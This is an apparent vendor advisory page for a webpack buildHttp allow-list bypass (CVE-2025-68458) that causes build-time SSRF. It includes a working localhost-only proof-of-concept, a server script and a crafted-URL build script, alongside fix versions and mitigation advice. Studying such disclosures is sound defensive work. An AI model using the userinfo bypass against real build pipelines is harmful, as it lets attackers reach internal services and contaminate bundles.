CVE-2025-68458 — webpack
LOWCVE-2025-68458 is a low-severity (CVSS 3.7) Server-Side Request Forgery (SSRF) vulnerability in webpack. A fix is available for webpack — see the affected versions and patch details below.
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68458.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-68458 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
webpacknpmDescription
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
- webpack version: 5.104.0
- Node version: v18.19.1
Details
Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
http://127.0.0.1:[email protected]:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
- Raw string check:
crafted.startsWith("http://127.0.0.1:9000")→ true - URL parsing (WHAT
new URL()will contact):
origin→http://127.0.0.1:9100(host/port after@)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
- Server logs showed the internal-only endpoint being fetched:
[internal] 200 /secret.js served (...)(observed multiple times)
- Attacker-side build output showed:
- the internal secret marker was present in the bundle
- the internal secret marker was present in the buildHttp cache
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";
const http = require("http");
const ALLOWED_PORT = 9000; // allowlisted-looking host
const INTERNAL_PORT = 9100; // actual target if bypass succeeds
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`// internal-only\n` +
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function listen(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// "Allowed" host (should NOT be contacted if bypass works as intended)
await listen(ALLOWED_PORT, (req, res) => {
console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
});
// Internal-only service (SSRF-like target)
await listen(INTERNAL_PORT, (req, res) => {
if (req.url === "/secret.js") {
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
return;
}
console.log(`[internal] 404 ${req.method} ${req.url}`);
res.statusCode = 404;
res.end("not found");
});
console.log("\nServers up:");
console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();
2) Create server.js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
function fmtBool(b) { return b ? "✅" : "❌"; }
async function walk(dir) {
const out = [];
let items;
try { items = await fs.readdir(dir, { withFileTypes: true }); }
catch { return out; }
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
const s1 = buf.toString("utf8");
if (s1.includes(needle)) return true;
const s2 = buf.toString("latin1");
return s2.includes(needle);
} catch {
return false;
}
}
(async () => {
const webpackVersion = require("webpack/package.json").version;
const ALLOWED_PORT = 9000;
const INTERNAL_PORT = 9100;
// NOTE: allowlist is intentionally specified without a trailing slash
// to demonstrate the risk of raw string prefix checks.
const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;
// Crafted URL using userinfo so that:
// - The string begins with allowedUri
// - The actual authority (host:port) after '@' is INTERNAL_PORT
const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
const parsed = new URL(crafted);
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedUri],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
console.log("\n[ENV]");
console.log(`- webpack version: ${webpackVersion}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);
console.log("\n[CRAFTED URL]");
console.log(`- import specifier: ${crafted}`);
console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
console.log(`- WHAT URL() parses:`);
console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);
console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);
console.log(` - hostname: ${parsed.hostname}`);
console.log(` - port: ${parsed.port}`);
console.log(` - origin: ${parsed.origin}`);
console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error("\n[WEBPACK ERRORS]");
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const foundSecret = m ? m[0] : null;
console.log("\n[RESULT]");
console.log(`- temp dir: ${tmp}`);
console.log(`- bundle: ${bundlePath}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log("\n[SECURITY CHECK]");
console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);
if (foundSecret) {
const lockHit = await fileContains(lockfile, foundSecret);
const cacheFiles = await walk(cacheDir);
let cacheHit = false;
for (const f of cacheFiles) {
if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
}
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
}
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | webpack | ≥ 5.49.0&&< 5.104.1 | 5.104.1npm install webpack@5.104.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for webpack, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update webpack to 5.104.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-68458 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-68458 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-68458. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Openshift Data Foundation 4.18 | odf4/cephcsi-rhel9:1783676191 | RHSA-2026:41941 |
| Red Hat Openshift Data Foundation 4.19 | odf4/cephcsi-rhel9:1783684360 | RHSA-2026:41944 |
| Red Hat Openshift Data Foundation 4.20 | odf4/cephcsi-rhel9:1783667125 | RHSA-2026:40984 |
Frequently Asked Questions
Is CVE-2025-68458 in your dependencies?
O3 Security finds CVE-2025-68458 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.